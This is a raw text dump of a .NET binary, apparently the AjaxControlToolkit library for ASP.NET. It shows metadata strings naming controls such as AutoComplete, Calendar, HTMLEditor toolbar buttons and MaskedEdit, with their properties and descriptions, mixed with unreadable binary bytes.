HCAjaxControlToolkit.AlwaysVisibleControlDesigner, AjaxControlToolkit|/AjaxControlToolkit.AlwaysVisibleControlBehaviorGAjaxControlToolkit.AlwaysVisibleControl.AlwaysVisibleControlBehavior.js(#AjaxControlToolkit.AnimationScriptsVerticalOffset[/AjaxControlToolkit.AlwaysVisibleControlExtender&AlwaysVisibleControl.AlwaysVisible.ico
�0
��+U!AjaxControlToolkit.HorizontalSide)UAjaxControlToolkit.VerticalSide���=useAnimation�M�4�� M �1�% ��- �1.�y��4�1���1��}�4	�������������} �A
�4��}
�4��	�}���} �I�
�I �1 �1 I�! �9	 �9�����I�4�M�����I�4�M =�Y��FAAjaxControlToolkit.PagingBulletedListDesigner, AjaxControlToolkitv-AjaxControlToolkit.PagingBulletedListBehaviorCAjaxControlToolkit.PagingBulletedList.PagingBulletedListBehavior.jszuSystem.Web.UI.WebControls.BulletedList, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\-AjaxControlToolkit.PagingBulletedListExtender)PagingBulletedList.PagingBulletedList.ico�
�� - A<AjaxControlToolkit.NumericUpDownDesigner, AjaxControlToolkitg(AjaxControlToolkit.NumericUpDownBehavior9AjaxControlToolkit.NumericUpDown.NumericUpDownBehavior.jsupSystem.Web.UI.WebControls.TextBox, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aM(AjaxControlToolkit.NumericUpDownExtenderNumericUpDown.NumericUpDown.ico

��System.Web.UI.Design.UrlEditoruSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a�?��2System.ComponentModel.Design.MultilineStringEditoruSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aO AjaxControlToolkit.NoBotBehavior)AjaxControlToolkit.NoBot.NoBotBehavior.jssnSystem.Web.UI.WebControls.Label, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3au5AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Paragraph.js}9AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter>AjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyCenter.js��?AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparatorDAjaxControlToolkit.HTMLEditor.Toolbar_buttons.HorizontalSeparator.js��-�'AjaxControlToolkit.HTMLEditor.Events.js/Dynamic PopulateServicePath
ServiceMethodH	SlideShowSlideShowServicePathSlideShowServiceMethod
UseContextKeyytSystem.Web.UI.WebControls.ListControl, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a^%AjaxControlToolkit.ListSearchBehavior3AjaxControlToolkit.ListSearch.ListSearchBehavior.js0'AjaxControlToolkit.CommonToolkitScripts0'AjaxControlToolkit.PopupControlExtender-$AjaxControlToolkit.AnimationExtender50Lets users search incrementally within ListBoxes*%AjaxControlToolkit.ListSearchDesignerD%AjaxControlToolkit.ListSearchExtenderListSearch.ListSearch.ico �U
��
��
promptTextType to search83The prompt text displayed when user clicks the listpromptCssClass61CSS class applied to prompt when user clicks listpromptPosition5U+AjaxControlToolkit.ListSearchPromptPosition\WIndicates where you want the prompt message displayed when the user clicks on the list.queryTimeoutqueryPattern3U)AjaxControlToolkit.ListSearchQueryPattern83Indicates search criteria to be used to find items.
isSortedy7AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.SuperScript.js��?AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButtonDAjaxControlToolkit.HTMLEditor.Toolbar_buttons.OkCancelPopupButton.jsw6AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.InsertLink.js[$AjaxControlToolkit.HoverMenuBehavior1AjaxControlToolkit.HoverMenu.HoverMenuBehavior.jsA$AjaxControlToolkit.HoverMenuExtenderHoverMenu.HoverMenu.ico=8AjaxControlToolkit.HoverMenuDesigner, AjaxControlToolkit
��popupElement3U)AjaxControlToolkit.HoverMenuPopupPosition)�#AjaxControlToolkit.Common.Common.jsE@AjaxControlToolkit.CascadingDropDownDesigner, AjaxControlToolkits,AjaxControlToolkit.CascadingDropDownBehaviorAAjaxControlToolkit.CascadingDropDown.CascadingDropDownBehavior.jszuSystem.Web.UI.WebControls.DropDownList, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aQ$AjaxControlToolkit.CascadingDropDown'CascadingDropDown.CascadingDropDown.ico �1
�] �� �a��� �e �i �9(����9�9�9��}��}
contextKey
useContextKey@;AjaxControlToolkit.AutoCompleteDesigner, AjaxControlToolkitd'AjaxControlToolkit.AutoCompleteBehavior7AjaxControlToolkit.AutoComplete.AutoCompleteBehavior.js#AjaxControlToolkit.TimerScriptJ'AjaxControlToolkit.AutoCompleteExtenderAutoComplete.AutoComplete.ico minimumPrefixLength�completionInterval
completionSetCountcompletionListElementIDxsInstead of passing in CompletionListElementID, use the default flyout and style that using the CssClass properties.
serviceMethodservicePathcompletionListCssClasscompletionListItemCssClasshighlightedItemCssClass
enableCachingdelimiterCharactersfirstRowSelected,'showOnlyCurrentWordInCompletionListItemshowing
shownhidinghiddenitemSelected
itemOveritemOut���!�u�!
 ���!���L �y�y �}�}����-���}�����L�yy�L��q�}y�}�}���L'�L�}����y�}��}	Item����}�P�P�P�P ��HCAjaxControlToolkit.UpdatePanelAnimationDesigner, AjaxControlToolkit,#AjaxControlToolkit.AnimationScripts��9AjaxControlToolkit.Animation.UpdatePanelAnimationBehaviorGAjaxControlToolkit.UpdatePanelAnimation.UpdatePanelAnimationBehavior.jsxsSystem.Web.UI.UpdatePanel, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35b/AjaxControlToolkit.UpdatePanelAnimationExtender-UpdatePanelAnimation.UpdatePanelAnimation.ico�Ly�LHCAjaxControlToolkit.ToggleButtonExtenderDesigner, AjaxControlToolkit\'AjaxControlToolkit.ToggleButtonBehavior/AjaxControlToolkit.ToggleButton.ToggleButton.jsrmSystem.Web.UI.ICheckBoxControl, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aJ'AjaxControlToolkit.ToggleButtonExtenderToggleButton.ToggleButton.ico:5AjaxControlToolkit.SliderDesigner, AjaxControlToolkit)$AjaxControlToolkit.Slider.Slider.cssR!AjaxControlToolkit.SliderBehavior+AjaxControlToolkit.Slider.SliderBehavior.js'"AjaxControlToolkit.DragDropScripts8!AjaxControlToolkit.SliderExtenderSlider.Slider.ico
�Ԁ�uSystem.Web.UI.Design.ImageUrlEditor, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a.U$AjaxControlToolkit.SliderOrientation�KFDetermines if the slider will respond to arrow keys when it has focus.enableKeyboardAjaxControlToolkit.RatingR!AjaxControlToolkit.RatingBehavior+AjaxControlToolkit.Rating.RatingBehavior.js �� m ���� �� ��I����}T$AjaxControlToolkit.HTMLEditor.Editor*AjaxControlToolkit.HTMLEditor.ModePanel.js�)
-(AjaxControlToolkit.HTMLEditor.HTMLEditor]*AjaxControlToolkit.HTMLEditor.PreviewPanel-AjaxControlToolkit.HTMLEditor.PreviewPanel.js�)Content)$AjaxControlToolkit.HTMLEditor.EventsW'AjaxControlToolkit.HTMLEditor.EditPanel*AjaxControlToolkit.HTMLEditor.EditPanel.js�8�@
�-��< �����8	�)�)suppressTabInDesignMode	noUnicode
noScriptinitialCleanUp'"ajax__htmleditor_htmlpanel_defaultdocumentCssPathdesignPanelCssPath
imagePath_1x1imagePath_flashimagePath_mediaimagePath_anchorimagePath_placeHolder	autofocusactiveModeChangedbeforeActiveModeChangedwmSystem.Web.UI.WebControls.Unit, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a100%modePanelIds
toolbarIds:5AjaxControlToolkit.EditorDesigner, AjaxControlToolkit-(AjaxControlToolkit.HTMLEditor.Editor.cssQ$AjaxControlToolkit.HTMLEditor.Editor'AjaxControlToolkit.HTMLEditor.Editor.js?$AjaxControlToolkit.HTMLEditor.EditorHTMLEditor.Editor.ico�L ���5�9�=�8��h!
��h�h�p���������l�)�)�)�).)Folder used for toolbar's buttons' images$ajax__htmleditor_editor_default ���D?AjaxControlToolkit.CollapsiblePanelDesigner, AjaxControlToolkitp+AjaxControlToolkit.CollapsiblePanelBehavior?AjaxControlToolkit.CollapsiblePanel.CollapsiblePanelBehavior.jssnSystem.Web.UI.WebControls.Panel, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aCollapseControlIDV+AjaxControlToolkit.CollapsiblePanelExtender%CollapsiblePanel.CollapsiblePanel.ico
��]snSystem.Web.UI.WebControls.Image, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a<U2AjaxControlToolkit.CollapsiblePanelExpandDirection[$AjaxControlToolkit.AccordionBehavior1AjaxControlToolkit.Accordion.AccordionBehavior.jsE@AjaxControlToolkit.AccordionExtenderDesigner, AjaxControlToolkit!AjaxControlToolkit.Accordion
�����-%UAjaxControlToolkit.AutoSize�requireOpenedPanesuppressHeaderPostbacks$ ���!���� ��]�����)�)�) �!
���!���!
��u6AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton9AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.js	nameo3AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton6AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.js ��	 ��- ������0�*AjaxControlToolkit.Animation.Animations.jsE@AjaxControlToolkit.AnimationExtenderDesigner, AjaxControlToolkite.AjaxControlToolkit.Animation.AnimationBehavior1AjaxControlToolkit.Animation.AnimationBehavior.jsA$AjaxControlToolkit.AnimationExtenderAnimation.Animation.icoD?AjaxControlToolkit.ValidatorCalloutDesigner, AjaxControlToolkitlgSystem.Web.UI.IValidator, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a=8AjaxControlToolkit.ValidatorCallout.ValidatorCallout.cssp+AjaxControlToolkit.ValidatorCalloutBehavior?AjaxControlToolkit.ValidatorCallout.ValidatorCalloutBehavior.jsV+AjaxControlToolkit.ValidatorCalloutExtender%ValidatorCallout.ValidatorCallout.ico
��
�)��warningIconImageUrl
closeImageUrl
cssClasshighlightCssClass
popupPosition5U+AjaxControlToolkit.ValidatorCalloutPosition=8Indicates where you want the ValidatorCallout displayed.
width�
 �� M�� �� �� �������������y	�\�Q ��
���	�}�����}�������}�I�� �� ��������
����faAjaxControlToolkit.ReorderListDesigner+ReorderListDesignerActionList+ReorderListViewTypeConverterLGAjaxControlToolkit.PasswordStrengthExtenderDesigner, AjaxControlToolkit��3AjaxControlToolkit.PasswordStrengthExtenderBehaviorGAjaxControlToolkit.PasswordStrength.PasswordStrengthExtenderBehavior.jsN#AjaxControlToolkit.PasswordStrength%PasswordStrength.PasswordStrength.ico
�P
�T
,U"AjaxControlToolkit.DisplayPosition
Strength: ,U"AjaxControlToolkit.DisplayPosition3U)AjaxControlToolkit.StrengthIndicatorTypesWRThis property has been deprecated. Please use the StrengthStyles property instead.>9AjaxControlToolkit.MaskedEditDesigner, AjaxControlToolkit_%AjaxControlToolkit.MaskedEditBehavior4AjaxControlToolkit.MaskedEdit.MaskedEditValidator.js^%AjaxControlToolkit.MaskedEditBehavior3AjaxControlToolkit.MaskedEdit.MaskedEditBehavior.jsD%AjaxControlToolkit.MaskedEditExtenderMaskedEdit.MaskedEdit.ico�x
�x
��
�|
���� �� ����
���x�x����Your browser security settings don't permit the automatic execution of paste operations. Please use the keyboard shortcut Ctrl+V instead.+U!AjaxControlToolkit.MaskedEditType ��5U+AjaxControlToolkit.MaskedEditInputDirection_MaskedEditFocusMaskedEditError5U+AjaxControlToolkit.MaskedEditUserDateFormat5U+AjaxControlToolkit.MaskedEditUserTimeFormat1U'AjaxControlToolkit.MaskedEditShowSymbolMaskedEditFocusNegativeMaskedEditBlurNegativelw6AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.RemoveLink.js{8AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton=AjaxControlToolkit.HTMLEditor.Toolbar_buttons.SelectButton.js�������Ԁ�BAjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButtonGAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeSelectButton.jss4AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName9AjaxControlToolkit.HTMLEditor.Toolbar_buttons.FontName.jss4AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector9AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Selector.js��}9AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector>AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ColorSelector.js��:AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear?AjaxControlToolkit.HTMLEditor.Toolbar_buttons.BackColorClear.js]*AjaxControlToolkit.HTMLEditor.Popups.Popup-AjaxControlToolkit.HTMLEditor.Popups.Popup.js��������}��h���)�)�)�)
behaviorautoDimensionsinitialContentcssPathm2AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup5AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.js}:AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup=AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.js��+&ajax__htmleditor_attachedpopup_defaultq4AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup7AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.js�5�9�=��
C>AjaxControlToolkit.AsyncFileUploadDesigner, AjaxControlToolkit]"AjaxControlToolkit.AsyncFileUpload5AjaxControlToolkit.AsyncFileUpload.AsyncFileUpload.js���� �� � ��	�\����} 

�  
�	�%�%-���-���)�)�)�)�)�)�)�)�)�)�,
Server Events
uploadStarteduploadCompleteuploadErrorID of ThrobberzSystem.Web.UI.WebControls.WebColorConverter, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a3.Control's background color on upload complete.qgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aLime>9Control's background color when uploading is in progress.rgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aWhite0+Control's background color on upload error.pgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aRedCU9AjaxControlToolkit.AsyncFileUpload+PersistedStoreTypeEnum>U4AjaxControlToolkit.AsyncFileUpload+UploaderStyleEnum$AjaxControlToolkit.TabContainer% AjaxControlToolkit.Tabs.Tabs.css@AjaxControlToolkit.TabPanelAjaxControlToolkit.Tabs.Tabs.js(#AjaxControlToolkit.TabPanelDesignerenabled}UsSystem.Web.UI.WebControls.ScrollBars, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
scrollBars
clickq"AjaxControlToolkit.DragDropWatcher&AjaxControlToolkit.DropWatcherExtender"ReorderList.DropWatcherBehavior.js$AjaxControlToolkit.BulletedListacceptedDataTypesargReplaceStringargSuccessStringargErrorStringargContextStringcallbackCssStyledragDataType
dragModedropCueTemplatepostbackCodey$AjaxControlToolkit.DraggableListItem&AjaxControlToolkit.DropWatcherExtender(ReorderList.DraggableListItemBehavior.js'"AjaxControlToolkit.ReorderListItemhandle@3System.Resources.Tools.StronglyTypedResourceBuilder2.0.0.0� ��d'AjaxControlToolkit.PopupControlBehavior7AjaxControlToolkit.PopupControl.PopupControlBehavior.js@;AjaxControlToolkit.PopupControlDesigner, AjaxControlToolkitJ'AjaxControlToolkit.PopupControlExtenderPopupControl.PopupControl.ico�H��
�L6U,AjaxControlToolkit.PopupControlPopupPosition94AjaxControlToolkit.NoBotDesigner, AjaxControlToolkit!GenerateChallengeAndResponse-AjaxControlToolkit.NoBotNoBot.NoBot.ico�%�� ��
 
 �)
������	���� ��������������	���� ��
	 ��q��y��	 ��qy,��������������y��yy7AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.PreviewMode.jsu5AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.PasteText.js:AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear?AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColorClear.js����� ������������!���p���!�����!�������!��	���y�!���}�!��	 �U��	 ��j�e�
���t��M�A�P�D)�!�����}�!����(�U��������}�y�!��}�U���!
���p �5�5���9�9��y��}	 �U��
�!�-  ��.�!�����U����������pq�py�p���������py�p	�D�D	�E�D	�p�p	�E�p���p���D �!�E�D
 �E���D)�}�!�E�pC���p���D�D�D���p�!��p���p���D�����p�I
 �M���u_�������D�D�D���p�!t�p����q���D���p�����p�T	Inherited�t;�5AjaxControlToolkit.Compat.DragDrop.DragDropScripts.js<7AjaxControlToolkit.CalendarDesigner, AjaxControlToolkit+"AjaxControlToolkit.DateTimeScripts) AjaxControlToolkit.PopupExtender,#AjaxControlToolkit.AnimationScripts,#AjaxControlToolkit.ThreadingScripts-(AjaxControlToolkit.Calendar.Calendar.cssX#AjaxControlToolkit.CalendarBehavior/AjaxControlToolkit.Calendar.CalendarBehavior.js>#AjaxControlToolkit.CalendarExtenderCalendar.Calendar.ico
�
�X

���
���
��dformatMMMM d, yyyytodaysDateFormat
MMMM, yyyydaysModeTitleFormat	clearTime
animated��UwSystem.Web.UI.WebControls.FirstDayOfWeek, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3afirstDayOfWeekbutton-U#AjaxControlToolkit.CalendarPositionSNIndicates where you want the calendar displayed, bottom or top of the textbox.selectedDate0U&AjaxControlToolkit.CalendarDefaultViewdefaultView83Default view of the calendar when it first pops up.dateSelectionChanged�
�
�
�
)u5AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.SubScript.js{8AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight=AjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyRight.jso3AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton6AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.js �U �Y���5�9�=��;�5AjaxControlToolkit.HTMLEditor.ExecCommandEmulation.js>9AjaxControlToolkit.DropShadowDesigner, AjaxControlToolkit^%AjaxControlToolkit.DropShadowBehavior3AjaxControlToolkit.DropShadow.DropShadowBehavior.js0'AjaxControlToolkit.CommonToolkitScripts2)AjaxControlToolkit.RoundedCornersExtender'AjaxControlToolkit.TimerScriptD%AjaxControlToolkit.DropShadowExtenderDropShadow.DropShadow.ico�?@;AjaxControlToolkit.TabContainerDesigner, AjaxControlToolkit AjaxControlToolkit.TabPanelDAjaxControlToolkit.TabContainerAjaxControlToolkit.Tabs.Tabs.js2AjaxControlToolkit.TabContainer
Tabs.Tabs.ico �]��4�4��
���������4��}�qactiveTabIndexajax__tab_xp.U$AjaxControlToolkit.TabStripPlacementactiveTabChangedautoPostBackId?:<{0}:SeadragonOverlay runat=server></{0}:SeadragonOverlay>6U,AjaxControlToolkit.SeadragonOverlayPlacementzSystem.ComponentModel.ExpandableObjectConverter, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089-(<{0}:Rating runat="server"></{0}:Rating>&!AjaxControlToolkit.RatingDesigner0AjaxControlToolkit.RatingRating.Rating.ico������.)True to cause a postback on rating changeRating	MaxRating
BehaviorID
ReadOnlyTagStarCssClassFilledStarCssClassEmptyStarCssClassWaitingStarCssClassRating Align~UtSystem.Web.UI.WebControls.Orientation, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aRating Direction,U"AjaxControlToolkit.RatingDirectionMHSets the ID of the control that is bound to the location of this handle.idSets the style of the handle associated with the MultiHandleSliderTarget, if custom styles are used.?:Sets the number of decimal places to store with the value.e`Sets the number of pixels to offset the width of the handle, for handles with transparent space.E&AjaxControlToolkit.MaskedEditValidatorMaskedEdit.MaskedEdit.ico.���-�x	�e�-	���-	�e�e/���-���e�e�����	�x�x
MaskedEdit-(AjaxControlToolkit.MaskedEditTypeConvertu5AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.PasteWord.jso2AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic7AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Italic.js:AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent?AjaxControlToolkit.HTMLEditor.Toolbar_buttons.DecreaseIndent.js=8AjaxControlToolkit.DragPanelDesigner, AjaxControlToolkitY#AjaxControlToolkit.FloatingBehavior0AjaxControlToolkit.DragPanel.FloatingBehavior.jsA$AjaxControlToolkit.DragPanelExtenderDragPanel.DragPanel.ico��!) AjaxControlToolkit.PopupExtender,#AjaxControlToolkit.ThreadingScripts3.AjaxControlToolkit.ColorPicker.ColorPicker.cssa&AjaxControlToolkit.ColorPickerBehavior5AjaxControlToolkit.ColorPicker.ColorPickerBehavior.jsZ&AjaxControlToolkit.ColorPickerExtender.AjaxControlToolkit.ColorPicker.ColorPicker.ico+&AjaxControlToolkit.ColorPickerDesigner
�sample,U"AjaxControlToolkit.PositioningModeQLIndicates where you want the color picker displayed relative to the textbox.
selectedColorcolorSelectionChanged;"Get Next" NumericUpDown
ServiceUpPathServiceUpMethodC"Get Previous" NumericUpDownServiceDownPathServiceDownMethod=Dynamic PopulateDynamicServicePathDynamicServiceMethodi/AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl4AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Rtl.jsm1AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste6AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Paste.jsi/AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr4AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Ltr.jsS%AjaxControlToolkit.HTMLEditor.Toolbar(AjaxControlToolkit.HTMLEditor.Toolbar.js8
alwaysVisible	buttonIds,�&AjaxControlToolkit.HTMLEditor.Enums.js�=8AjaxControlToolkit.SlideShowDesigner, AjaxControlToolkit[$AjaxControlToolkit.SlideShowBehavior1AjaxControlToolkit.SlideShow.SlideShowBehavior.jsA$AjaxControlToolkit.SlideShowExtenderSlideShow.SlideShow.icoslideShowServiceMethodslideShowServicePathnextButtonIDplayButtonIDplayButtonTextstopButtonText�playIntervalimageTitleLabelIDimageDescriptionLabelIDpreviousButtonID	loop
autoPlayB=AjaxControlToolkit.RoundedCornersDesigner, AjaxControlToolkitj)AjaxControlToolkit.RoundedCornersBehavior;AjaxControlToolkit.RoundedCorners.RoundedCornersBehavior.jsP)AjaxControlToolkit.RoundedCornersExtender!RoundedCorners.RoundedCorners.ico
�8
�%'UAjaxControlToolkit.BoxCornersk0AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo5AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Undo.jsu5AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Underline.jsy7AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyFull.jss4AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR9AjaxControlToolkit.HTMLEditor.Toolbar_buttons.InsertHR.js��=AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelectorBAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColorSelector.jsu5AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.BoxButton.js��?AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButtonDAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeBoxButton.js��<AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButtonAAjaxControlToolkit.HTMLEditor.Toolbar_buttons.FixedColorButton.js 
�]#000000defaultColor:AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor?AjaxControlToolkit.HTMLEditor.Toolbar_buttons.FixedBackColor.jsw6AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignMode.js��&@T
AllowMultipleT	Inherited��C>AjaxControlToolkit.DynamicPopulateDesigner, AjaxControlToolkitm*AjaxControlToolkit.DynamicPopulateBehavior=AjaxControlToolkit.DynamicPopulate.DynamicPopulateBehavior.jsS*AjaxControlToolkit.DynamicPopulateExtender#DynamicPopulate.DynamicPopulate.icoPopulateTriggerID,�&AjaxControlToolkit.Common.Threading.js+�%AjaxControlToolkit.Common.DateTime.js>CascadingDropDownServicePath
ServiceMethod
UseContextKey9AutoCompleteServicePath
ServiceMethod
UseContextKey�����	�
�
��������,
���������������������� �q �u �y �} ��	 ���� ��'���q�u������������
 ���� ��4�����!�e�����������}�!���a �� �� �-������� .�������� �
� ��	�����!��&T
AllowMultipleT	Inherited�
 =���
��0+AjaxControlToolkit.HTMLEditor.HtmlPanel.cssW'AjaxControlToolkit.HTMLEditor.HtmlPanel*AjaxControlToolkit.HTMLEditor.HtmlPanel.jsC>AjaxControlToolkit.FilteredTextBoxDesigner, AjaxControlToolkitm*AjaxControlToolkit.FilteredTextBoxBehavior=AjaxControlToolkit.FilteredTextBox.FilteredTextBoxBehavior.js
ValidCharsS*AjaxControlToolkit.FilteredTextBoxExtender#FilteredTextBox.FilteredTextBox.ico
��
�(UAjaxControlToolkit.FilterTypes(UAjaxControlToolkit.FilterModes=8AjaxControlToolkit.AccordionDesigner, AjaxControlToolkit1,<{0}:Accordion runat=server></{0}:Accordion>9AjaxControlToolkit.AccordionAccordion.Accordion.ico�Py�P�P�Ty�P���Py�P �)�����)���P#
u���P��m�P��}�\ ��	 �-���)�-�� 72Length of the transition animation in milliseconds�A<Number of frames per second used in the transition animationE@Whether or not to use a fade effect in the transition animations1,Default CSS class for Accordion Pane Headers>9Default CSS class for the selected Accordion Pane Headers1,Default CSS class for Accordion Pane ContentA<Determine how the growth of the Accordion will be controlled/*Index of the AccordionPane to be displayedwrWhether or not clicking the header will close the currently opened pane (leaving all the Accordion's panes closed)e`Whether or not we suppress the client-side click handlers of any elements in the header sections-(AjaxControlToolkit.AccordionContentPanel	DatasnSystem.Web.UI.DataSourceControl, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a�.��System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089��TUSystem.Security.Permissions.SecurityPermissionFlag, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089FlagsD?AjaxControlToolkit.ResizableControlDesigner, AjaxControlToolkitp+AjaxControlToolkit.ResizableControlBehavior?AjaxControlToolkit.ResizableControl.ResizableControlBehavior.jsV+AjaxControlToolkit.ResizableControlExtender%ResizableControl.ResizableControl.ico�5��
resizingresizebegin}9AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough>AjaxControlToolkit.HTMLEditor.Toolbar_buttons.StrikeThrough.js��;AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment@AjaxControlToolkit.HTMLEditor.Toolbar_buttons.RemoveAlignment.jsy7AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.OrderedList.js��
�<��}�)�)�)~UtSystem.Web.UI.WebControls.BorderStyle, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a.�(AjaxControlToolkit.Compat.Timer.Timer.js	Name	 qee���L0
�L �e�L���9��}��} �� �� ��
 �� �9%�������9�
�9�L��} ���� � ���P��y�P��?:AjaxControlToolkit.ReorderListDesigner, AjaxControlToolkit?AjaxControlToolkit.ReorderListReorderList.ReorderList.ico�= ��
��
��
����}���`���`�`���` �� ��)��m���`������}���`Q�l.������QQ�5�=�=�9�9�9�lQ�`�����l�}���%�� �E	�������Ei�� �� �� � � �	���������=�
�- ���= �Q�Q�Q�=���=�=�Q�e�
�=�=�Q�Q����}}���= �=����=������}���p
i�
